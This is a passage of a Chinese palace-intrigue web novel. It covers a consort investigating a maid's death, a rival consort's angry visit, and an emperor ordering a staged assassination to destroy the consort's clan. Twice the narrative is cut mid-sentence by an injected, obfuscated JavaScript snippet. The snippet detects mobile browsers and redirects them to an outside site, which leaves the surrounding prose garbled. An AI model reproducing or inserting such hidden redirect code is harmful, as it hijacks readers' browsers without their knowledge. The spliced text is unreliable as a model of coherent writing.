他的态度已经出卖了他,云昭昭见他要走也并不挽留,只是继续感叹道:“有趣有趣,整个朝野上下都以为是陛下与我爹势必是要斗得个你死我活,纷纷站队,可谁知,还有高人在后面隔岸观火,等着坐享渔翁之利呢!连我都没料到,这故事背后,竟还有这么多曲折的隐情。” 周徵闻言皱了皱眉,立马停下提醒道:“后宫女子不得妄议朝政,请慎言。” “明明是满朝皆知的事,凭什么我是女子就不让我说了?我就是要议,你把我抓进诏狱?”云昭昭轻蔑地说,“况且,既然汀雪涉及的是宫里的案子,那武安侯一个外臣,就算与陛下再亲近,如此频繁出入后宫,也在所难免地容易让陛下心生嫌隙。不如,再考虑考虑我之前的提议?” 她一下便点到了周徵心中所想。 毕竟那些提到他会与赵昶对立,甚至谋反的预言,恍若在他的心里生了黑刺,令他总是忍不住地开始怀疑自己对赵昶的忠心是否真的有所动摇。他越是如此想,就越害怕赵昶对自己生疑。 他之前出入后宫,总觉得自己行得正立得端,因此来去都坦坦荡荡,可万一这只是他的一厢情愿呢,说不定赵昶早就对自己这么若无其事地出入后宫调查有所不满了。 云昭昭的提议确实充满了诱惑,若是换了别人,周徵觉得自己肯定会不假思索地答应,可为何偏偏是她? 他一时顿了顿脚步,只得答道:“容臣……再考虑考虑。”说罢便再也不回头,推开屋门走了出去。 · 云昭昭若有所思地回到寝殿,早膳已经准备好了,是加了酸枣片的酥酪羮与桂花糕。趁着吃早膳的功夫,她叫来了玉绯与流霜,向她们逐一询问在她们守着逐月屋子的时候,都有什么人去过。 二人面面相觑,随后都肯定道,除了殿内负责洒扫的小宫女翠儿前去扫过院子里的落叶外,就只有汀雪中途来替她俩送过饭。 “小姐,但翠儿全程都只是在扫地上的叶子,她除了来打个招呼,跟奴婢说说话外,没做什么,扫完后她就离开了,奴婢是看着她离开的。”流霜说完,玉绯也在一旁紧张兮兮地点了点头。 翠儿是殿内最小的宫女,不过十一岁,完全就是个孩子,因为长得可爱,带着小朋友稚气未脱的婴儿肥,所以大家都把她当成小妹妹一样,没事逗逗她,做错了事念及她年纪小也都护着她。 云昭昭自然不可能怀疑到翠儿身上,果然唯一又可能行凶的就只剩汀雪了。可汀雪那天晚宴上虽然离开了一段时间,但望月殿与昭阳殿相隔足足有两公里远,来回需要将近两个时辰,她自然不可能有机会在晚宴期间行事。 于是她又问道:“那汀雪呢?她送饭时有没有什么不同寻常的举动,你们俩要一一告诉我。” 流霜先回答道:“她没什么奇怪的举动,就是把逐月和奴婢的饭送过来,然后顺便同奴婢聊了几句。” “你们都说了些什么?” 流霜道:“也没什么,就是汀雪她说你最近总是心事重重的,晚上歇息似乎也睡不踏实,她有些担心你。” 说到这里,流霜顿了一下,压低了声音道:“她还对奴婢说你似乎对她有点刻意的疏远……” 看来汀雪什么都察觉了,云昭昭又看向了玉绯。 玉绯一向粗心惯了,见主子这么直勾勾地看着自己,有些结巴地说:“她、她就问奴婢在那儿守着辛不辛苦,要不要她替我一会儿……奴婢虽然呆得无聊透了,但,但一想到是娘娘信任奴婢……就果断拒绝了她,后来汀雪姐姐,她就走了。” 流霜和玉绯两个人都不会撒谎,按她们的说辞,汀雪倒是没什么问题。 但云昭昭还是不想就这样放弃,她又问了一遍:“再想想呢,有没有什么地方被你们忽略了?” 殿内一下子陷入沉寂,流霜沉默着摇摇头,与云昭昭在那儿大眼瞪小眼。 过了一会儿,才见玉绯支支吾吾地说:“娘娘,那天,不知道为什么,奴婢吃完饭就觉得特别困,然后就……就睡着了,等奴婢醒来的时候,娘娘已经、已经在宴会上出了事,是锦衣卫将奴婢叫醒的……”玉绯说到最后,像是很怕被流霜和云昭昭批评一样,声音越来越小。 云昭昭闻言眯了眯眼,蝶翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108319|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般的睫毛微微轻颤,自顾自地道:“我知道了。” 她推测汀雪那晚端给玉绯的晚饭里多半是下了蒙汗药之类的东西,玉绯本来平时就大大咧咧的,见汀雪端来的肯定就没怎么注意,更不会拿所谓的银针去验。如果她猜的没错,逐月的饭里应当也是下了药的,汀雪只等着饭后药起了效,就可以进屋将逐月吊死,再伪造出自杀的现场。 不过,关于被撕走的那页膳事记录,云昭昭越想越好奇。 逐月以前应该没再圣鸾宫呆过才对,因此这本膳事记录簿不可能是她自己私藏的,应该是从别人手上获得的,而当年圣鸾宫的这本膳事记录,究竟藏着什么秘密,值得她从别人手里获得,再珍而重之地保存在木匣子的最下层呢? 想到这里,云昭昭打发了玉绯,只留下流霜。 “走,正好汀雪这会儿还在宫正司里,咱们趁此机会去看看她的房间。” 流霜跟在她身后,谨慎地小声问道:“小姐,汀雪到底怎么了?” 之前流霜就怀疑汀雪了,云昭昭也不瞒她,只说:“之前你提醒我的是对的,秋儿果真是那个丫头推下河的,今天武安侯那个意思,多半那天宴会上纯容华的死也与她有关……” 流霜又惊又怒,问道:“小姐,这丫头什么时候这么胆大包天了?竟敢背着你做这等伤天害理之事!要是等她回来,我见着她,非好好教训她一顿!” 云昭昭竖起中指,制止道:“收声,这殿里人多耳杂,她一个年纪不大的丫鬟,哪里有这么大的本事!” 说着她们两人来到了汀雪的房间前,汀雪的屋子收拾得整齐又干净,像极了她这个主人稳妥缜密的性子。桌子上铺了一张干净的淡蓝色棉布,上面整齐地摆放着日常梳妆的一应实物,床边的花瓶里插着几支淡绿的菊花,配上白色的芙蓉,金色的桂枝,颇有点插花的意味,看得出是动了心思的。 两人翻了翻汀雪房间的柜子,抽屉,却并未发现有什么蒙汗药之类的可疑物品。 甚至,云昭昭也在汀雪的屋里也找到了一个百宝匣一样的小木箱,只是与逐月不同。汀雪放在里面最珍视的物件,全都是云昭昭,以及她的原身赏给她的,从小时候的一支风车,到前段时间自己赏给她的一小袋金瓜子,全都被她规整地收纳在一起,按种类,按年份摆放好。 仿佛,这些年汀雪托庇于云家所受的恩惠与所承的情谊,都被她珍而重之地收纳在了这百宝箱里,也放进了她的心里。 就这样重情念旧的一个小姑娘,真的会背叛云家,另寻他主,做出那些伤天害理的事情吗? 云昭昭不觉有些动摇。 正在这时,小屋门外,玉绯慌慌张张地跑了过来,她秉承了她一惯的心大与粗神经,在进门的时候被不算高的门楣绊了一跤,差点摔了个狗啃泥。 “出事了!”她堪堪站稳,大声道,“娘娘,不好了,云家出事了!” 云昭昭被她冒冒失失地举动吓了一跳,听到这话,更觉心惊肉跳。 她一边轻轻抚着胸口顺气,一边问道:“怎么了?” 玉绯擦了把汗,想到什么就说什么,“听说今天早上,阁老再次称病没有去上朝,结果惹得陛下当场勃然大怒,当着文武百官地面说阁老不把他这个天子放在眼里,还说……还说云家这是要造他的反。” 真是屋漏偏逢连夜雨,云昭昭叹了口气,又问:“……呃,然后呢?当时武安侯在场吗?” 玉绯道:“奴婢哪知道啊,后来据说阁老的门生,今科刚及第的进士,如今的翰林院庶吉士陆仁几个人站了出来,替阁老求情……结果,结果陛下气得当场命令将陆仁在内的三名进士拖下去砍了头,而礼部侍郎霍纪安出来谏言,被陛下停了职。霍家老太爷年逾花甲,现在正顶着上午的大太阳跪在承龙殿门口替儿子求情呢!” 云昭昭脸色彻底变了,颤声质问道:“殿外都是禁军把守,你,你又是怎么知道这些的!” 玉绯急忙解释:“哎呀,娘娘,是因为那霍婕妤这会儿正在殿门口与禁军大吵特吵,嚷着要见您呢!” 44. 解禁 云昭昭闻言匆匆赶到门口。昭阳殿正门外,负责把守的几名禁军正全力拦着一名华服丽人,看口型几人正焦灼地争执着什么,不时还有路过此地的宫人见状站在一旁围观。 那名被禁军竭力阻拦的华服丽人便是霍婕妤了,她生了一张俏丽的瓜子脸,一对分明的黛眉和一双上挑的凤眸,不似画卷中弱柳扶风的美人,反而有种江湖上的女侠气质。 她身材比起宫里的其他女子也显得要结实一些,云昭昭知道,这是霍婕妤小时候长期练武形成的,用她现代人的审美看来,这样的身材既匀称又健美,但在宫里面,却总是被人诟病不够柔美。 霍婕妤远远地就看到了云昭昭,她怒气冲冲,黛眉一横,凤眸微挑,中气十足的声音极具穿透力: “云贵妃,你这昭阳殿可真是金贵的地盘儿!外面都闹翻天了,你这里还专门有这么多禁军把守着,真不知道是为了软禁你,还是为了保护你!” 云昭昭知她是因为弟弟霍侍郎的事着急,被她如此挑衅也不生气,只快步上前,解释道: “霍姐姐,是武安侯安排这些禁军将士们在这里守着的,为的就是防止本宫出去搞事。他们刚才若是无意冲撞到了你,妹妹便在此给霍姐姐赔个不是。” 她着重强调了“武安侯”三个字,宫里人人都知道她与周徵不太对付,因此霍婕妤闻言脸上的表情果然淡了些。 “哼,贵妃娘娘千金之躯,您的赔罪我可担不起,我今日乃有要事,你让他们放我进去。不然我可就在这儿当着这么多人的面说了,我倒是无所谓,就是恐怕会让娘娘脸上不大好看。” “霍姐姐说笑了。”云昭昭不咸不淡地笑笑,转头对为首的那名禁军统领道,“这位大人,本宫也知道你们是奉武安侯之命把守在此的,本宫自然也不愿见你们为难。只是霍婕妤今日找我实属事出有因,只是让她进来,本宫绝不会出去,可否行个方便?” 说着她给一旁站着的流霜递了个眼神,流霜便甚是默契地将袖子下面一小锭金子塞给了那名禁军统领。 谁知那人也是个有原则的,不仅说什么都不肯接,还义正言辞道:“贵妃娘娘,臣既奉命守在此处,就应做到不让人进出,若是因为一时失职出了什么事,最后追究起来,掉的也是臣的脑袋。” 云昭昭说:“本宫好端端地呆在殿里,能出什么事?就算霍婕妤在这昭阳殿内出了事,也是冤有头债有主,怪也怪她自己要进来,又与你何干?” 她说完见那统领仍不为所动,只好搬出了周徵这尊“大佛”。 “况且,昨日武安侯还专门派了两名亲信守在后殿的院中,今天一早也撤掉了。可见情况没有你想象的那么草木皆兵,你若不信,就叫个人过去问问他的意思?” 那人闻言,态度终于有所松动,再加上宫里谁都知道武安侯不好惹,哪敢亲自去问?都像是揣度着赵昶的圣意一样,也猜着他这名亲信的心思,只不过周徵从不在小事上拘泥,所以面对他也要相对容易得多。 “行吧,既然武安侯都让锦衣卫撤了。那霍婕妤就请进吧,刚才是臣失礼了。”他说罢指挥下属,让出了窄窄的一条道儿。 霍婕妤狠狠瞪了他一眼,冷哼一声,提起裙摆便带着贴身的女官走了进去。 云昭昭将她领到正殿的花厅,又吩咐宫人为她热茶,并将殿内小厨房所做的各色时令糕点端了上来。她禀退了众人,亲自好吃好喝地将她招待着。 但霍婕妤只看了一眼,略微抿了一口茶,将手中的琉璃软云纱宫扇啪地一声掷在桌上。 “云贵妃,你这里的东西,我可不敢碰,说不好就变得和纯容华一个下场了。” “霍姐姐太会说笑了,”云昭昭懒得和她置气,只是淡定地捻起一块桂花糕送入口中,小口小口地咀嚼着,“我这里的东西就算再精巧再用心,也比不得中秋宴会上尚食局的手艺。” “你够了!”霍婕妤愠怒道,“我可没工夫在这儿跟你废话,我的来意想必你心里已有数。我们霍家,还有纪安这次受此大难,完全就是被你们云家给连累的!” 云昭昭见她如此无礼,便也不再一味客气忍让,只冷笑道:“霍姐姐哪里的话?今日早朝,又不是我们云家有人用刀逼着霍侍郎为我们求情的,何来云家连累霍家一说?” “哼,你可别在这里给我装傻充楞!你骗得了太后可骗不了我!那天在宴会上纯容华的死分明就是你干的!云夫人站出来担下这个罪名也只是为了替你背锅顶罪!谁不知道你与裴若桑不和已久,就是你的善妒,你的小不忍,害得陛下这么快就要对云家动手,这才连累了我们霍家,更连累了我弟弟!” 霍婕妤站起身,尽情斥责着云昭昭的“罪行”,那双冷冽的丹凤眼中透着愤怒,透着恨意,在她提及弟弟霍纪安时,变为了浓浓的惋惜。 原书中对霍婕妤着墨不多,更多地也只是作为背景板出场。 云昭昭记得她与礼部侍郎霍纪安乃一母所出的姐弟,从小便一起长大,感情很深。结果霍纪安在拜在了云琛门下之后,对自己老师的学问与为人仰首是瞻,甚至对云琛到了言听计从的地步,很快便成了他门下的得意弟子,后来更是在科举中一举夺魁,被先帝任命礼部侍郎,成为最年轻的六部副手。 作为状元郎的姐姐,霍婕妤也算得上个奇女子。她虽是个女儿身,但从小就巾帼不让须眉,被当成男儿一般养大,不仅读过书,霍家还专门请了老师来教她练武。她早早地便对朝中局势有了自己的认识。 与霍家其他人不同,她很早便认为云琛如今在朝野之中炙手可热,有功高盖主之嫌,就算煊赫一时,也终有一日要被天子所不容。虽然先帝对其委以辅国重任,但到了太子赵昶登基后,一定会对云家进行清算。 因此她早早地就劝霍纪安在朝中要站队赵昶一边,但无奈霍纪安认为师徒如父子,欺师与背主无异。 霍婕妤无奈,为了能保住霍家、保护弟弟不在未来云氏与帝王的两相斗争中沦为牺牲品,在赵昶登基后的初次小选中,她毅然决然地主动选择了入宫。 见云昭昭只看着自己,并不答话,霍婕妤更加气恼。 她指着云昭昭狠厉道:“云贵妃,我好心提醒你,该自首的时候还是要识时务,及时地去自首,若是过了这个时机,别说拖累旁人了,就是你也自身难保!” “我自己没有做的事情,为什么要去自首?” “你!”霍婕妤满脸不可思议地看着她,随后咬了咬银牙,似是下了极大的决心一般缓缓说道,“你知道外面发生了什么吗?我听说,我听说因为朝中翰林庶吉士陆仁和我弟弟的事,你父亲之前在军中的一些部下,正筹划着要进宫刺杀……” 她说到这里浑身发着抖,用食指指了指上方。 “我不管是不是你做的!”霍婕妤激动地说,“这可是要诛九族的事!到时候不管是你们云家也好,还是霍家,甚至兵部尚书贾尉,全部都要受牵连,我爹六十五岁的人了,为了纪安的事,现在还顶着大太阳跪在承龙殿前……” 听到刺杀一事,云昭昭终于意识到了事情的严重性,其实也怪不得霍婕妤如此怒气冲冲地来找她,任谁面对这种情况,都无法维持冷静与理性。 她的双腿仿佛被什么东西抽走了力气一般,踩在冷硬的大理石地砖上像是陷进了棉花里,软绵绵的。 她自然知道云琛就算再也有野心,也不可能让手下人做出刺杀赵昶这等自爆般的行径。 她知道的,朝堂上那些精于算计的老家伙们自然也知道。 但事情到了这个地步,云家有没有心弑君也不重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108320|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要了,只要随便有人惊动御驾,且打着云家的旗号,哪怕他是阿猫阿狗,背后是李家王家,最后的罪名肯定也会算在云家的头上。 霍婕妤见她木木地靠在椅子上,半晌也不说话,忍不住冷笑一声嘲讽道:“呵,怎么不说话了?刚才不是还振振有词地说自己不去自首吗,现在终于怕了?” “霍婕妤,君要臣死,臣不得不死!若是陛下铁了心要除掉我云家,我这个时候去自首有什么用?!有什么用?!” 云昭昭终于爆发了。 之前霍婕妤的无礼,霍婕妤的冤枉,她通通都忍了。 就像她从进宫第一天开始,秋儿的死,纯容华的死,再到逐月的死……这么多人的死都与她有关,她也忍了。 结果她的一忍再忍,换来的只是他人的步步紧逼。 书里云贵妃的结局,云家的结局,她的人生,似乎永远都不可以改变了,永远也不受她左右。 她胸口仿佛有着一块石头,压得她喘不过气,堵得她动弹不得,让她恨不得拼尽所有去推动它、撞开它、砸碎它。 她刚才的嘶吼声很大,一旁的霍婕妤明显被她突然的情绪吓得一愣,外面流霜与玉绯等人也闻声赶来。 “小姐,怎么了?”流霜紧张道。 她的声音将云昭昭拉回了现实,她深吸一口气,平复了一下心境,转而对霍婕妤说: “霍姐姐,你放心……我会让霍侍郎官复原职,会救你们所有人。我不敢向你保证,但,我会尽力。你请回吧。” 说罢她揉了揉太阳穴,吩咐玉绯道:“玉绯,送客。” 霍婕妤还想说什么,但云昭昭却已经起身进了内殿,只留给她一个背影。 玉绯在一旁搓着小手,面上挂着讨好的笑,紧张细细地说:“婕妤主子,奴婢送你?” 霍婕妤气得冷哼一声,理也不理玉绯,头也不回地带着随行而来的宫女往门口走去。 云昭昭回到寝殿里,一头倒在榻上,像是一只砧板上摊开的咸鱼一样,一动不动的。 流霜知她心情不好,想劝却也不知道该怎么劝,因为她在听说了外面发生的事以后,到现在也又急又怕,更别说云昭昭了。 正在这时,玉绯又像之前一样火急火燎地冲进了殿内,只是与上一次不同,这回她的脸上,竟然带着一丝喜色。 “娘娘,娘娘!好消息啊,奴婢刚刚送霍婕妤到门口,发现值守的禁军都撤了!咱们自由了!” 玉绯雀跃地说完,却发现主子仍然木呆呆地躺在榻上,两眼空洞无神地盯着头顶的软烟罗帐子,似乎对她刚才的话充耳不闻。 她还想开口,结果流霜赶紧给她使了个眼色道:“娘娘心情不好,你别吵着她,回去干活去。” 玉绯这几日被关得身上快要长蘑菇了,好不容易得了能出门的机会,正想着去找自己宫里的小姐妹叙叙旧呢,话都到了嘴边,也只好失望地咽了下去。 她没再指望能获得主子的批准,只能怏怏地退下。 可这时,云昭昭却开口叫住了她。 “玉绯,你刚才说门口的禁军都撤了,怎么一回事?”云昭昭边说边坐起身,刚才脸上的颓丧早已荡然无存。 玉绯兴冲冲地答道:“真的都撤了,不信主子去看。听说是武安侯下的命令。” “武安侯?怎么会是他?” 云昭昭难以置信,周徵怎么会在这个节骨眼上撤掉了昭阳殿的守卫?此时此刻,他不是应该更要防止她对赵昶采取报复吗? “真的是他,是御马监的人来传话的。”玉绯道。 云昭昭不再怀疑,她对玉绯道:“你下去歇着吧,去别的宫小心点儿,别闯了祸。” 说完她又一脸严肃地吩咐流霜:“走!马上跟我去一趟宫正司!” 45. 秋兴 承龙殿内。 赵昶身穿一席明黄蹙金滚边龙袍,歪着头斜倚在九级汉白玉阶砖最高处的龙椅上,悠闲地把玩着手中一只雕花镂空的玳瑁蛐蛐罐。 罐中一只巨型的红头金翅正支着头顶鲜红的触须,扑闪着灿若金箔的羽翅,向着前方缩在角落里的那只天蓝青试探着,跃跃欲试。 相比那雄赳赳气昂昂,宛若常胜将军一样的红头金翅,那只天蓝青就显得秀气多了,它头部墨黑,六爪晶莹如玉,身上闪着青蓝色的荧光,宛若披着九天之上的银河,安静地匍匐在另一侧的角落里,伺机待发。 这两只蛐蛐都乃世间罕见品种,任意一只,都价值黄金万两。 大周朝开国至今,版图不断向东向北延伸,到如今已比太祖时扩张了整整一倍之多,其下十八省,九十一州,一千五百八十四县,农田超过万亩的只有苏州杭州下属的几个大县,按照大周如今一亩良田一两黄金的市价来算,光这两只蛐蛐,就已足够买下江南最富庶的一大片土地。 而这两只“黄金万两”,正被圈在帝王巴掌大的囹圄中,在他戏谑的目光下,准备斗个你死我活。 早朝的时间早就结束了,赵昶回想起自己说出退朝二字时群臣战战兢兢逃离的情景,不由地嘴角扬起一个惬意的弧度。 他十分乐意见到那群平日里装模作样反对自己的老东西们,在面对死亡时与过街的老鼠一样,丢盔弃甲,胡乱逃窜。 什么仁义道德,不过是世人为了维护秩序想出的昏招罢了,真正的王道非民本,非仁政,而是无上的权力,是绝对的服从。 赵昶一边惬意地用斗草撩了撩那只巨型的红头金翅的巨螯,一边瞥了一眼台阶下的大殿正中央跪着的那个深蓝色的身影。 空荡而背光的大殿中央,周徵笔直地跪在浮雕的大理石砖上。正午的阳光透过大殿虚掩着的门缝,直直地投射在周徵的脸上,身体上,还有四面八方的地上。 豆大的汗珠不断地从额间滚落,他仍旧如一尊石雕的战士一样,跪在那里,一言不发,一动不动。 安静的大殿里只剩下红头金翅大将军吱吱的叫声。 赵昶低头驱动着自己这边的“金色战将”向那只龟缩的天蓝青发动攻击,冷不丁地开口发问道:“你可知罪?” 周徵盯着地面的浮雕的龙纹,回答道:“臣知罪。” 他的声音清冷却中气十足,像是叩响的钟罄般在大殿中回荡着。 早上的朝会他并没有参加,但发生的事他已全部知晓了,等他匆匆赶到承龙殿时,霍纪安年逾六十的老父亲已经跪在殿外的台阶上,摇摇欲坠,显然已是快顶不住了。 他立马上前扶起几近中暑的霍老太爷,随口吩咐门口随侍的司礼监掌印汪厚让人为霍老太爷叫御医。 谁知汪厚却为难地告诉他,没有陛下的命令谁也不敢扶霍老太爷起来。 见御前司礼监的诸位太监皆是跟随着掌印太监汪厚,一副冷眼旁观的模样,周徵只好叫来燕二等人,将霍老太爷背去偏殿休息,再请个太医过来。 做完这一切后,他才走进承龙殿,二话不说地跪在了地上。 赵昶仿佛对他刚才的越权之举视若无睹,只专心地逗弄手中的蛐蛐,嘴角甚至还拐着笑意。 但周徵知道,他这一次,比以往任何时候都要生气。就像赵昶小时候一样,每次生气了要拉一个倒霉的宫人见阎王,脸上都会浮现出这种微笑。 嘴角那恰到好处的弧线下,透着浅浅的戾气。 所以刚才当赵昶终于开口时,他已是跪出了一身的冷汗。 赵昶专心盯着罐中的战况,很快又问:“那周爱卿自己说说看,你犯了何罪?” 周徵斟酌片刻,谨慎地回答道:“回陛下,臣以为……臣有三罪,一罪在尚未请奏就擅自放走了诏狱中的钦犯,二也罪在尚未请奏便撤了昭阳殿的守卫,三也是……罪在臣刚才让人扶起了霍家老太爷。” “错了!还有第四罪,”赵昶戳了一下红头金翅,让它再次向那天蓝青发动攻击,“你刚才进来,朕没说让你跪,为何要跪?” 周徵道:“陛下,霍家老太爷如今六十有五,若是让他这么在正午的太阳下干跪着,怕是要出事!臣知道自己自作主张让人安顿他已是越权,是对陛下的大不敬,所以臣愿意在这里代替他跪着,无论多久,只要陛下满意。” 在周徵说话间,只见赵昶手中的玳瑁罐里一个金色的残影晃过,那只结实的红头金翅狠狠上前一咬,便将天蓝青的翅膀边缘咬下了一小片。 它得了战场上的先机,似乎洋洋得意,那鲜红的脑袋往前探了探,透着常胜将军般的骄傲,在向那天蓝青挑衅。 而那只天蓝青能长到如此品相,据说也是百年难遇的虫王,但在威武凶狠的红头金翅面前,却显得那么不堪一击。 它缩着脑袋,歪着那只被咬的翅膀,躲得不能再远,似乎还在微微地发着抖。 “哼,明知故犯。”赵昶说着抬眸,锐利的目光落在周徵弓着的背上,厉声道,“周徵,你熟知我大周律令,像你这样一而再,再而三地对朕不敬,这四项罪名加起来,数罪并罚,你自己说该当何罪?” 周徵闻言抬头,神色复杂地看着赵昶,末了,只听他用几不可闻的声音叹了口气,然后平静地说:“当诛九族……但周家上下二十年前就全部因罪伏诛,只余臣一人苟活于世,臣死后还请陛下开恩收回‘武安侯’这个封爵,就让这个沾染着罪孽与诅咒的封号永远地终止在臣这里——” “朕再给你最后一个机会!”不等周徵说完,赵昶就急急地打断道,“如今云氏上下对朝廷不轨在先,你只要去替朕杀了云琛,抄了云家,朕就免了你的罪!” “不可!”周徵不假思索道,“陛下,万万不可如此!” 他说着不顾额头上狰狞的伤口,“嘭”地一声磕了个头。 “陛下早朝时冲动杀了陆仁等人还不够,现在难道还要连整个云氏,以及云氏背后的党羽都要全部掀翻吗?!臣之所以冒着被猜忌,被处死的风险也要从诏狱中放走柳氏,为的就是能稳住云家!” “你说什么?你敢指责朕?” 赵昶双目几欲睁裂,啪地一声放下手中的玳瑁蛐蛐罐,罐中那只红头金翅像是得到了某种指令般,扑闪着双翅,发疯似地向那只天蓝青冲了过去。 角落里的天蓝青依旧一动不动,缺了一小块的羽翅仿佛永远地失去了扑腾的力气,面对红头金翅来势汹汹的攻势,只能在原地静静等死。 “放肆!来人!来人!!!”赵昶拍着桌子喊道。 周徵不为所动,继续坚持劝谏道:“云琛之前长期担任兵部尚书一职,在军中威望甚高,如今的兵部尚书贾尉也是他的人,万一激怒了云党,令其趁机谋反,再加上如今尚在暗处窥伺的那第三波势力,天下必定会大乱。” “大乱又如何?天下再乱,只要兵足够强,马足够壮,也能镇压!养兵千日用兵一时,朕之前命你日以夜继地训练京中四大营,为的就是这个时候!”赵昶怒道,“你什么时候如此妇人之仁了?说了那么久的第三波势力,现在看来,哪有什么黄雀,都是云党的障眼法罢了,现在就是除掉云氏一党的最好时机!” “陛下!请三思!”周徵嘶声道,“就算如此,当初先帝刚登基时征讨东西突厥,后来又镇压高丽内乱、镇压倭寇海患,耗费了不少兵力与国力,经过这二十多年的休养生息,国库日渐充盈,百姓也逐渐安居乐业,若是此时发动内战,恐有失民心啊……” 他话音刚落,殿内脚步声响起,一名身穿深蓝色锦衣卫制服,手持佩刀的男人从外面走来。他面部崎岖,奇丑无比,高大的身材格外魁梧,野兽般凸起的肌肉显得十分凶狠,宛若诏狱上那尊龇牙咧嘴的狴犴。 “赫连海!”周徵见到来人,发出了难以置信的惊呼。 赫连一姓乃前朝鲜卑部落的贵族姓氏,自大周建国以来,前朝鲜卑一族除了王族一脉,其余各大部落都已归顺大周,渐渐融入了汉人中,改用了汉人的姓氏。 而这位名叫赫连海的男人,恰恰正是鲜卑王室的后裔,此人骁勇善战,力大无穷,前任锦衣卫指挥使冯潇将其收编入锦衣卫,成为北镇抚司中的一名千户。 但赫连海在执行任务中下手极其狠毒,且酷爱虐待人犯,甚至还因奸污良家女子受到过多次弹劾,周徵上任后便将他罚去屯田所了。如今他能再次身着锦衣卫的制服出现在承龙殿,不用想也知道,这一定是赵昶的旨意。 赫连海轻蔑地瞥了一眼周徵,一身戾气地从他身边略过,跪在赵昶面前。 “赫连海参见陛下。” 赵昶见到他,脸上浮现出笑意,“这身衣服倒是很衬你,平身吧,赫连。” “谢陛下。”赫连海闻声站起,巨人般的身影将跪在地上的周徵衬托得有些瘦弱无依, 此时,被冷落在一旁的玳瑁蛐蛐罐中发出了嗡嗡的响声,时不时还能听见翅膀撞击罐壁的响动。 赵昶光听声音就能知道,罐子里一定正上演着一场恶战,不过更大的可能是一场单方面的屠杀,只是可惜了那只天蓝青,要长成这等六爪如玉,通身荧光的漂亮模样,怕是百年都难得一遇。 “朕来介绍一下。”赵昶微笑道,“这位是朕新任命的锦衣卫指挥同知赫连海,今后你做不了的事,朕会交由赫连去做。” “赫连海定不负陛下所托。”赫连海胸有成竹道,面对周徵疑惑的目光,倨傲地冷哼了一声。 周徵张了张嘴,只觉得嗓子像是火烧一般的干涸。 他再清楚不过,赵昶这时突然将赫连海任命为指挥同知,在锦衣卫之中的位置仅在自己之下。正是说明他不再像从前那样信任自己,甚至已经准备在锦衣卫中培养另外的亲信来取代自己。 云昭昭和汀雪的话,在此刻又如同阴魂不散的鬼魅般浮现在他的脑海里。 “你与陛下,终会有因立场不同,而走到决裂的那一天。” “狡兔死,走狗烹……你若帮赵昶灭了云家,不出三月,他就会将刀剑对准你,他不会立刻要你死,而是会逼你谋反……” 那时他还半信半疑,但此刻,周徵不得不承认,他曾经赖以生存的护卫之职,曾经视为信仰的忠诚之道,在如今面对百姓、家国的重大分歧前,也不过是一张脆得不能再脆的纸。 蛐蛐罐里的打斗声渐渐地小了,接着里面传来窸窸窣窣的轻微响动,那是胜者在对手下败将的尸身进行蚕食。 赵昶仿佛已经预见到了那只天蓝青的命运。他并不刻意避讳,当着周徵的面,冷冷地对赫连海命令道: “赫连,朕命你三日之内,假扮成刺客,打着云琛的旗号,来假意刺杀朕,你放手去做,不必担心伤到朕。届时,朕会令京城四大营的将士们与禁军一起随时待命,等你这边时机一到,就立刻围剿云家。” “赫连遵旨。” 赫连海正要跪下,周徵却突然起身,用不知哪来的力气撞开他,几乎是不顾死活般地跪在赵昶的龙椅下,竭力劝阻道: “陛下,万万不可!万万不可!臣之所以三番五次地提到那另一波势力,是因为臣已审讯过贵妃身边那位名叫汀雪的宫女,她已经向臣如实交代了,她的背后,确实站着一个不忠于陛下,也不属于云党的神秘人物。鹤蚌相争,渔翁得利!若是此时对云氏赶尽杀绝,岂不是正中对方的下怀!” “放肆!周徵,你再口出狂言,阻止朕的决意,休怪朕不客气!给朕让开!” 周徵抬着头,漆黑的眸子里带着某种坚若磐石的信念,“陛下若不收回成命,臣就不起来,除非踩着臣的尸体过去!” “你以为朕不敢?!”赵昶怒道,“赫连!” “是!” 赫连海眼中闪着野兽般的光,他贪婪地舔了舔嘴唇,哗的一下拔出了绣春刀。 “都住手!” 这时,一个温柔有有力的声音,突然响彻在大殿中央,打断了所有人的动作。 是太后带着司礼监掌印汪厚与身边的掌事苏嬷嬷匆匆赶来。 “真是胡闹!”太后一向温柔的脸上难得的带着愠怒,“哀家今日若不来,陛下是不是就要让这蛮子杀了明彰?外面闹得天翻地覆的不管,倒在这里自家人打自家人了!” 太后素来不愿过多插手政务,抚养赵昶多年,也是事事顺着他,但毕竟是如今宫中辈分最高的长辈与养母。赵昶见到太后,满脸的戾气终于消了一点。 他耐着性子道:“哪有啊,母后来的正巧,儿臣正好在跟明彰与赫连商量着怎么趁着这个千载难逢的机会对付云琛那老东西呢!” 太后皱着眉头,严厉道:“你要怎么对付云家,哀家可管不着。但哀家必须告诉你,霍家老太爷德高望重,文章盖世,曾经还为先帝讲过学,你就这样将人撂在烈日下跪了那么久,若不是明彰及时赶到将霍老爷子送往偏殿休息,还派人请了太医,我赵家怕是就要永远担下这弑师的恶名了!” 赵昶这下才变了脸色,半晌只得说道:“霍……他老人家现在可好?朕待会儿就亲自去探望他 